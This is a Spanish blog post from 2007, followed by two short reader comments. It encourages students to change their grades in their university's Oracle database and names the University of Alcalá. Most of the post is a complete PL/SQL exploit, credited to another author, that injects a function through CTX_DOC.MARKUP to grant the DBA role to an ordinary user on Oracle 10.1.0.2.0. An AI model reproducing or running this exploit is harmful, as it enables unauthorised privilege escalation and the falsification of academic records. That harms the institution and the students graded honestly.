Imaginemos que estamos estudiando en una universidad como la de Alcalá de Henares /uah.es y que somos estudiantes de una carrera (esto está claro sinó no seriamos universitarios) que llevamos más o menos, pero que siempre tenemos alguna asignatura que se nos atasca y no la damos sacado.
Que pasaria si se pudiera cambiar esa nota, eso que tanto hemos visto en pelÃculas y que tan bonito nos parece, de la noche a la mañana tener una carrera y ser licenciados (o diplomados que más da :-P )
Pues bien, hoy en dia todo se maneja con ordenadores, si tu cambias la información de una persona en un ordenador, crees que alguien se enteraria? y si ya eres un paranoico y las cambias justo el dia que salen? Crees que alguien se pararia a ver si en verdad esa persona tiene la nota que le puso su profesor. Estamos hablando de 1 alumno entre miles y 1 profesor entre cientos ;-)
Pues bien solo pretendo deciros que sà se puede hacer, que es posible sacarse una carrera y que el unico requisito ahoramismo es que esa nota esté en una base de datos manejada en oracle (justo como ocurre con la uah) y bueno tambien que seamos universitarios o conozcamos el usuario de alguien ( facil de conocer)
El caso, aquà un pequeño fallo que aprovechamos y con nuestro usuario normal nos damos permisos de dba y ala a cambiar notas :-)
select * from user_role_privs;
CREATE OR REPLACE FUNCTION HACKIT return varchar2
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE ‘grant dba to scott’;
COMMIT;
RETURN ”;
END;
/
set serveroutput on
create table mark_tab (id number primary key, text varchar2(80) );
insert into mark_tab values (’1′, ‘All your bases are belong to US’);
create index mark_tab_idx on mark_tab(text)
indextype is ctxsys.context parameters
(’filter ctxsys.null_filter’);
SET SERVEROUTPUT ON;
DECLARE
mklob CLOB;
amt NUMBER := 40;
line VARCHAR2(80);
BEGIN
CTX_DOC.MARKUP(’mark_tab_idx’,'1′,”||scott.HACKIT()||”, mklob);
DBMS_LOB.READ(mklob, amt, 1, line);
DBMS_OUTPUT.PUT_LINE(’QWRvcmUuVS5NeS5TdGFy’||line);
DBMS_LOB.FREETEMPORARY(mklob);
END;
/
select * from user_role_privs;
Se vió que funciona con oracle 10.1.0.2.0 y fue escrito por Alexandr “Sh2kerr” Polyakov
October 31st, 2007 at 1:06 pm
WUOooo, vaya cambio de look, no? Pues creo que me gusta más!! jejeje
Me refiero al tuyo, no al de YouTube! es que hacÃa tiempo que no me pasaba! jeje
November 1st, 2007 at 11:09 am
ains brontë… culo culo ejeje yo al tuyo me paso más desde que tus feeds no son completos :)